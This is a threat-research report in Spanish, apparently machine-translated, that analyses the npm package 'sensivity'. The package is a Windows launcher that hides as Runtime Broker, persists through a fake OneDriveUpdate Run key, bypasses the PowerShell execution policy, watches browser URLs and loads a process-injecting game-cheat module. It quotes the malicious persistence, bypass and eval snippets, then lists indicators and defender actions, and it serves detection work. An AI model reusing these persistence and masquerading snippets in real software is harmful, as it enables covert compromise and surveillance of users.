TL; DR
El paquete npm sensibilidad Se describe a sí mismo como un "Panel de control de sensibilidad". En Windows, funciona como una herramienta de control remoto y vigilancia.
Su punto de entrada, launcher.js, cambia el nombre de su propio proceso a Runtime Broker, escribe un valor Run-key de inicio automático llamado OneDriveUpdate que reinicia el paquete a través de un VBScript oculto, genera PowerShell con -ExecutionPolicy Bypassy luego evalúa una carga útil de servidor ofuscada de 171 KB junto con un módulo nativo de 6.87 MB, sens.node.
Proporciona un panel de control para el emparejamiento de teléfonos en el puerto TCP 3000 y lee la URL de la barra de direcciones del navegador activo a través de Windows UIAutomation, buscando un vídeo de YouTube predefinido.
Dos partes que antes se leían como cajas negras ahora están resueltas. El servidor ofuscado, server.obf.js, utiliza un esquema de matriz de cadenas RC4 de obfuscator.io; al reimplementar su decodificador sin conexión (sin ejecutar JavaScript) se recupera un único punto final externo. https://izopi.com/check.php — junto con una clave pública RSA integrada que se utiliza para verificar las respuestas de licencia firmadas.
El módulo nativo, sens.node, no está empaquetado: su tabla de importación y las cadenas incrustadas lo identifican como una superposición en el juego DirectX 11 / Dear ImGui que proporciona funciones de aimbot, ESP (wall-hack) y triggerbot, impulsadas por inyección de procesos remotos y lecturas/escrituras de memoria.
Las cadenas de texto que contiene hacen referencia a entidades de vehículos y ubicaciones en el mapa, de forma coherente con GTA V / FiveM. El paquete npm es el contenedor de entrega y persistencia de ese módulo nativo.
La señal definitoria es operativa, no técnica: un único editor anónimo distribuyó aproximadamente setenta versiones de un mismo paquete. 2.5.0 través 2.5.69 — a lo largo de unos días, cada uno portando el mismo lanzador.
No hay instalación hooksLa carga útil se ejecuta únicamente cuando se inicia el paquete.
El ataque: cómo funciona
Sensitivity distribuye diez archivos. El archivo package.json es escaso: no tiene campo de repositorio, ni licencia, un archivo principal y dos alias de bin (sensivity, sens) que apuntan a launcher.js, y un script de inicio de node launcher.js. No hay postinstalación ni preinstalación. No se ejecuta nada con npm install. El comportamiento que se describe a continuación se produce cuando un usuario inicia el paquete, ya sea mediante el shim de bin, el script de inicio o un require.
El archivo tarball contiene el lanzador, un servidor ofuscado, el módulo nativo, un script de Visual Basic y un directorio web público para el panel de control. launcher.js es el orquestador legible; la lógica relevante en tiempo de ejecución reside en los dos archivos que carga: un servidor ofuscado y un módulo nativo compilado, ambos resueltos a continuación.
Suplantación de identidad y actualizador falso de OneDrive
Al inicio de la ejecución, launcher.js establece su propio nombre de proceso dos veces:
javascript process.title = 'Runtime Broker'; Runtime Broker es un proceso legítimo de Windows (RuntimeBroker.exe) que gestiona los permisos de las aplicaciones. Si se cambia el nombre de un proceso de Node para que coincida, una rápida revisión del Administrador de tareas no mostrará nada inusual.
La persistencia se implementa mediante PowerShell en lugar de una API de registro directa:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); El valor de inicio automático se llama OneDriveUpdate y no apunta directamente al paquete. Apunta a wscript.exe, que ejecuta el script OneDrive.Standalone.Updater.vbs incluido. Este script reinicia node launcher.js en una ventana oculta. Tanto el nombre de la clave Run como el nombre del archivo VBScript utilizan la imagen corporativa de Microsoft, por lo que la entrada de inicio automático se interpreta como una tarea rutinaria de OneDrive.
PowerShell con omisión de la política de ejecución
El lanzador realiza repetidamente llamadas a PowerShell. El punto de destino que los escáneres marcan como crítico es el lanzamiento de un archivo .ps1 generado con la política de ejecución deshabilitada:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); La opción ExecutionPolicy Bypass elimina la comprobación local de firma de scripts para esa invocación. Los scripts generados gestionan la vigilancia del navegador y la detección de ventanas, tal como se describe en la siguiente sección.
El servidor ofuscado y el módulo nativo
Tras la configuración, launcher.js carga y ejecuta su carga útil real:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js es un archivo de 171 KB de ofuscación de matriz _0x, un patrón de JavaScript donde cada cadena e identificador se reemplaza por un índice en una matriz reordenada, y luego se desreferencia en tiempo de ejecución. El esquema es la variante RC4 producida por obfuscator.io: una única función decodificadora decodifica en base64 una entrada de la matriz y luego la descifra en RC4 con una clave por llamada. Reimplementar ese decodificador en un script separado (ejecutando solo la reimplementación sobre la matriz de cadenas de 821 entradas extraída, nunca el propio JavaScript del paquete) lo desenrolla limpiamente. Lo que emerge es modesto pero decisive: una URL externa, https://izopi.com/check.php`, asignada a una constante LICENSE_URL; una RSA PUBLIC_KEY_PEM incrustada`; las rutas del panel local /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off y /trigger/status; y las cadenas child_process, crypto y [Sensivity] sens.node cargados — la última es la línea de registro exacta que el lanzador reescribe a módulo de programa cargado. El punto final es una verificación de licencia: el cliente publica un identificador (el servidor ofuscado formatea una cadena Discord ID: %s) y la clave RSA verifica la respuesta firmada del servidor.
sens.node es un complemento nativo compilado de 6.87 MB y no está empaquetado; la entropía de la sección se sitúa entre 5.6 y 6.6 y las tablas de importación y exportación de PE están intactas, por lo que sus capacidades se pueden leer directamente. Exporta napi_register_module_v1, el standard Punto de entrada de Node N-API, por lo que el servidor evaluado lo carga con un simple require. Su tabla de importación es la clave. De KERNEL32 obtiene OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules y Process32First/NextW, el conjunto canónico para localizar otro proceso, asignar memoria dentro de él y leer o escribir esa memoria. De USER32 obtiene GetAsyncKeyState, GetKeyState, mouse_event y SetCursorPos; enlaza d3d11.dll, D3DCOMPILER_43 y dwmapi para una superposición en pantalla, y el conjunto completo de WINHTTP para llamadas de red. Sus cadenas integradas nombran el conjunto de características sin ambigüedad: Habilitar Aimbot, Campo de visión de Aimbot, ESP de caja, ESP de esqueleto, Triggerbot, Constructor de ESP, ESP de vehículo, Anticheat Electron detectado y el banner Dear ImGui Dear ImGui 1.91.3 WIP. Las cadenas de ubicación y entidad, como Clínica médica Grapeseed y el vocabulario de ESP de vehículos, son consistentes con GTA V / FiveM.
La división es deliberada: el archivo launcher.js legible contiene solo las partes que un escáner puede leer fácilmente (persistencia, enmascaramiento, la llamada a eval), mientras que la ofuscación oculta el host externo con el que se conecta el entorno de ejecución, y el binario contiene la lógica de superposición del juego e inyección de procesos. El lanzador es la capa delgada y auditable; el servidor ofuscado oculta la identidad de red; el módulo nativo es la carga útil. Describimos las importaciones y cadenas del binario como legibles; no inferimos el propósito del operador a partir de ellas.
Un panel de control para emparejar teléfonos en el puerto 3000.
El lanzador administra un servidor web local en el puerto TCP 3000 y lo trata como un singleton. Consulta si existe un oyente y lo borra antes de vincularse:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); El panel es accesible en http://localhost:3000, con una URL de reserva LAN codificada de http://192.168.1.16:3000. El directorio public/ y el comportamiento del panel son consistentes con un flujo de emparejamiento QR: un teléfono escanea un código y se vincula al host como un dispositivo remoto. No aparece ningún dominio de comando y control externo en texto plano en el lanzador, pero, como muestra la desofuscación anterior, sí está presente en el servidor ofuscado: el punto final de licencia izopi.com. El panel en sí es local y de ámbito LAN; el único host de salida es la verificación de licencia.
Un modelo de supervisor/trabajador independiente mantiene el proceso activo. El lanzador se reinicia con los indicadores de entorno SENSIVITY_SUPERVISOR y SENSIVITY_WORKER, y cada proceso hijo se ejecuta de forma oculta, por lo que al finalizar un proceso queda un proceso de vigilancia que lo reinicia.
Vigilancia del navegador y la señal de YouTube
El comportamiento más específico es la monitorización del navegador. launcher.js crea un script de PowerShell que controla la automatización de la interfaz de usuario de Windows para leer la barra de direcciones de un navegador en ejecución:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern devuelve el contenido de texto de un elemento de la interfaz de usuario. Aplicado al control de edición de la barra de direcciones del navegador, devuelve la URL que la víctima está viendo actualmente, sin necesidad de una extensión del navegador, sin modificar el perfil en el disco y sin un gancho de API. El script generado itera sobre una lista $browserNames y extrae la URL o el título de la ventana del navegador que esté en primer plano.
Esa URL se prueba con un único objetivo codificado:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; El programa ejecuta un bucle de tres segundos para comprobar si hay una ventana del navegador mostrando YouTube, y el script de PowerShell generado contiene un par de comandos Get-YouTubeBrowser / Test-TargetYouTubeUrl que coinciden con el ID de ese vídeo. El efecto observable es doble: se lee la URL de navegación activa de la pantalla de la víctima y se detecta la interacción del usuario con un vídeo específico de YouTube. Describimos el mecanismo y el objetivo; no inferimos ningún motivo a partir de ellos.
La lectura de la barra de direcciones es lo que el escáner etiqueta como sensitive_data_enumeration: una fuente Process::env y UIAutomation que alimenta un entorno de ejecución con capacidad de red. A simple vista parece inofensiva y solo se revela como vigilancia una vez que se rastrea el ciclo de vida de los datos desde la fuente UIAutomation hasta el servidor ofuscado.
Cronología y evolución de las versiones
La sensibilidad no es una carga única. La cuenta del editor tiene aproximadamente setenta versiones publicadas de este paquete, y siguieron llegando nuevas durante el período de revisión. El lanzador va incorporando nuevas funciones progresivamente a lo largo de la línea 2.5.x, mientras que su persistencia y carga de la carga útil permanecen fijas.
| Fecha (UTC) | Versiones observadas | Estado del lanzador |
|---|---|---|
| 2026-06-02 | 2.5.8 – 2.5.46 (25) | Lanzador base de panel QR; persistencia de clave de ejecución; evaluación de servidor ofuscado. |
| 2026-06-03 | 2.5.53 – 2.5.61 (6) | Misma huella digital; supresión de rastros de consola. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Agrega un objetivo de interacción fijado en YouTube wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 – 2.5.69 (24) | Republicación para cubrir lagunas en toda la gama; organismo de control de supervisores/trabajadores. |
Al analizar el lanzador en las versiones descargadas (2.5.0, 2.5.36 y 2.5.69), se observan cuatro niveles. Las primeras versiones incluyen el lanzador base de emparejamiento mediante código QR. A partir de la versión 2.5.33, aparece el recolector de la barra de direcciones de UIAutomation. Desde la versión 2.5.58, se añade una capa de gestión de supervisores. Desde la versión 2.5.64, el supervisor/trabajador independiente completa el conjunto. En todo momento, cuatro elementos permanecen inalterables: la clave de ejecución de OneDriveUpdate, el archivo vbs de descarga OneDrive.Standalone.Updater, el archivo server.obf.js evaluado y el módulo nativo sens.node.
La oleada del 5 de junio de 2026 destaca porque volvió a publicar las versiones con números bajos —de la 2.5.0 a la 2.5.15— que se encuentran por debajo de las versiones confirmadas días antes. Esto genera una línea 2.5.x continua en el registro, donde cada versión utiliza el mismo lanzador.
Indicadores de compromiso
Todos los indicadores que se muestran a continuación se leyeron directamente del archivo tarball del paquete. El lanzador legible solo contiene una interfaz de bucle invertido y una única dirección LAN privada; el nombre de host externo, izopi.com, se recuperó desofuscando server.obf.js sin conexión.
| Tipo | Indicador | Notas |
|---|---|---|
| PREMIUM | npm:sensivity (≈70 versiones, 2.5.0–2.5.69) | Editor de un solo paquete; sin repositorio; sin licencia. |
| Archivo | launcher.js | Orquestador legible; destino principal y de contenedores. |
| Archivo | server.obf.js (≈171 KB) | Carga útil de matriz de cadenas RC4 de obfuscator.io, cargada a través de eval(fs.readFileSync(...)). |
| Archivo | sens.node (≈6.87 MB) | Complemento PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Archivo | OneDrive.Standalone.Updater.vbs | Relanzador oculto (node launcher.js). |
| Network | https://izopi.com/check.php | El punto final de licencia/autenticación se recupera del servidor ofuscado; la clave pública RSA integrada verifica las respuestas. |
| Capacidad | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Inyección remota de procesos y capacidad de lectura/escritura de memoria. |
| Capacidad | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Superposición de juego DirectX 11 / ImGui que implementa funciones de aimbot, ESP y triggerbot. |
| Registro | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valor de inicio automático que apunta a wscript.exe y el lanzador de VBScript. |
| Proceso | process.title = 'Runtime Broker' | Se hace pasar por el proceso legítimo de Windows Runtime Broker. |
| Salud Conductual | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Se utiliza una omisión de la política de ejecución para los scripts de PowerShell generados. |
| Salud Conductual | UIAutomation ValuePattern leer la barra de direcciones del navegador | Lee la URL de la ventana del navegador que se encuentra en primer plano. |
| Salud Conductual | ID de vídeo objetivo wJWta2lO0LwEncuesta de YouTube de 3 segundos | Señal de seguimiento de interacción fija. |
| Network | http://localhost:3000, retroceder http://192.168.1.16:3000 | Panel de control para el emparejamiento mediante código QR, accesible tanto localmente como en la red LAN. |
| Medio Ambiente | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Indicadores de coordinación del proceso de vigilancia independiente. |
Atribución, impacto y defensores
El paquete es publicado por una única cuenta de npm cuyo correo electrónico declarado es una dirección de Gmail no verificada. La cuenta tiene una puntuación de reputación en el registro muy negativa, mantiene y publica solo este paquete y no tiene ningún repositorio de código fuente vinculado. No hemos verificado la propiedad del correo electrónico y atribuimos la campaña a la cuenta del editor, no a ninguna persona en particular. El lanzador no contiene infraestructura en texto plano, pero ahora se conoce el único host externo: el servidor ofuscado se comunica con izopi.com para verificar la licencia, y el módulo nativo —leído a partir de su tabla de importación y cadenas en lugar de instrucciones inversas— es una superposición de juego que se inyecta y lee la memoria de otro proceso.
El impacto observable recae sobre los usuarios de Windows que instalan y ejecutan Sensibility esperando una utilidad en el panel de control. En esos equipos, el paquete establece una persistencia de inicio automático disfrazada de tarea de OneDrive, cambia su nombre para imitar un proceso del sistema, lee la URL de lo que el usuario esté navegando y crea un panel de emparejamiento que conecta la máquina a un servidor remoto a través de la red local. El mecanismo de supervisión/vigilancia impide que un solo proceso lo elimine; la entrada de la tecla Ejecutar sobrevive a los reinicios. macOS y Linux no son el objetivo del lanzador: las rutas de persistencia, PowerShell y UIAutomation son exclusivas de Windows.
La constante rotación de versiones (seventas) es una tendencia que merece atención. Republicar un paquete docenas de veces en pocos días, incluyendo versiones anteriores a las ya eliminadas, mantiene una copia activa en el registro entre eliminaciones y dificulta el funcionamiento de las listas de bloqueo basadas en versiones. Una entrada en la lista de bloqueo para sensivity@2.5.61 no tiene efecto contra sensivity@2.5.3, republicada al día siguiente.
Los defensores pueden actuar en función de lo siguiente:
- Bloquee directamente la sensibilidad del nombre del paquete en las listas de permitidos de registry-proxy y CI. Fijar versiones individuales se ve afectado por la cadencia de republicación; el nombre es el indicador permanente.
- Busque un valor de ejecución llamado OneDriveUpdate cuyos datos invoquen wscript.exe contra un archivo .vbs en una ruta por usuario. El actualizador original de OneDrive no está registrado de esta manera.
- Alerta en un proceso de Node.js cuyo process.title es Runtime Broker. El broker real es RuntimeBroker.exe, no un entorno de ejecución de Node.
- Marcar las descargas de npm durante la instalación de paquetes que incluyen un complemento .node compilado más una evaluación (eval(fs.readFileSync(…))) de un archivo .obf.js relacionado. Ese emparejamiento —un binario nativo opaco cargado junto a una carga útil de texto ofuscado— es la señal estructural aquí, independientemente de cualquier IOC de cadena.
- En los puntos finales de Windows administrados, considere sospechoso cualquier proceso de escucha vinculado localmente en el puerto 3000 generado por un proceso Node inesperado.
- Bloquea o genera alertas en las solicitudes salientes a izopi.com desde hosts de desarrolladores o usuarios finales; es el único punto final externo del paquete, al que se accede en /check.php desde el servidor ofuscado.
- Para cualquier complemento .node incluido, inspeccione su tabla de importación antes de confiar en él. La combinación OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread es una inyección de procesos remotos, independientemente de lo que el paquete afirme hacer; aquí se encuentra junto a una superposición de Direct3D y cadenas de aimbot/ESP/triggerbot.
Para análisis estático pipelineEn resumen, la estructura de convicción se mantiene a lo largo de las sucesivas versiones: un perfil de instalación sin red, la asignación de un título de proceso a un nombre de proceso del sistema conocido, la escritura de una clave de ejecución mediante PowerShell y la evaluación de un archivo leído del disco. Ninguna de estas acciones depende de un dominio, una dirección IP o un número de versión que pueda eliminarse con la siguiente republicación.
Referencias
[npm: sensibilidad] – página de registro para la línea de versión del paquete que se comenta aquí; sujeta a eliminación.






